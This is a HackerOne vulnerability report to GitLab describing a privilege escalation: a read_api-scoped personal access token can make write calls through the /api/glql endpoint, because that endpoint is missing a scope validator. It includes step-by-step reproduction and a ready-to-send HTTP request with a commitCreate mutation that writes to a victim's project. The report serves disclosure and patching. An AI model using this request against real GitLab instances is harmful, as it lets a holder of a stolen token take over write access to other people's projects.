Bypassing PAT permissions using glql to gain write permission with read_api scoped personal access token
HackerOne report #3451435 by go7f0 on 2025-12-04, assigned to GitLab Team:
Report | Attachments | How To Reproduce
HackerOne Analyst Summary
Summary of the issue
The researcher found personal access token with read_api scope can be escalated with write permission to add commit via POST https://gitlab.com/api/glql with commitCreate query.
Steps to reproduce
- As the victim, sign in victim's GitLab account -> Create a private project:
- As the victim, go to
https://gitlab.com/-/user_settings/personal_access_tokens-> Generate a personal access token withread_apiscope:
- As the attacker, get victim's access token from step 2
Note: Current attack scenario requires the attacker to obtain victim's read_api scoped personal access token. This increases the Attack Complexity to High.
- As the attacker, paste the request below into Burp Repeater:
- Replace
VICTIM_ACCESS_TOKENwith victim's access token from previous step - Replace
VICTIM_GROUP_NAMEwith victim's group name - Replace
VICTIM_PROJECT_NAMEwith victim's project name
POST /api/glql HTTP/2
Host: gitlab.com
Content-Length: 317
X-Gitlab-Feature-Category: groups_and_projects
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36
X-Gitlab-Version: 18.6.1-ee
Content-Type: application/json
Origin: http://gitlab:6789
Referer: http://gitlab:6789/dashboard/projects
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Private-Token: VICTIM_ACCESS_TOKEN
{
"query": "mutation { commitCreate(input: { projectPath: \"VICTIM_GROUP_NAME/VICTIM_PROJECT_NAME\", branch: \"glql-read-api-poc2\", startBranch: \"main\", message: \"poc from glql read_api token\", actions:[{ action: CREATE, filePath: \"glql_poc.txt\", content: \"pwned via glql read_api token\" }] }) { errors commit { webUrl } } }"
}- As the attacker, send the above request:
- As the victim, refresh project main page. You can see a new commit added:
Impact statement
If the malicious actor gains the victim's "read_api" personal access token, the attacker can escalate it to write permission and create commit in victim's project.
If you have any questions or concerns about this report, feel free to assign it to H1 Triage via the action picker with a comment indicating your request.
Original Report
Summary
The GLQL interface omitted a scope_validator when constructing the GraphQL context, causing all scope restrictions on PAT to become completely invalid.
Steps to reproduce
Create a new PAT file and select only the minimum scope; here I only selected read_api.
Accessing http://gitlab:6789/api/v4/personal_access_tokens/self using the generated PAT indeed only has the read_api scope.
Submitting code using PAT was successful.
This example only uses the read_api and code submission; in reality, all user permissions can be obtained through the GLQL interface.
Impact
PAT scope limitations are completely bypassed, granting full user privileges.
Impact
PAT scope limitations are completely bypassed, granting full user privileges.
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section:







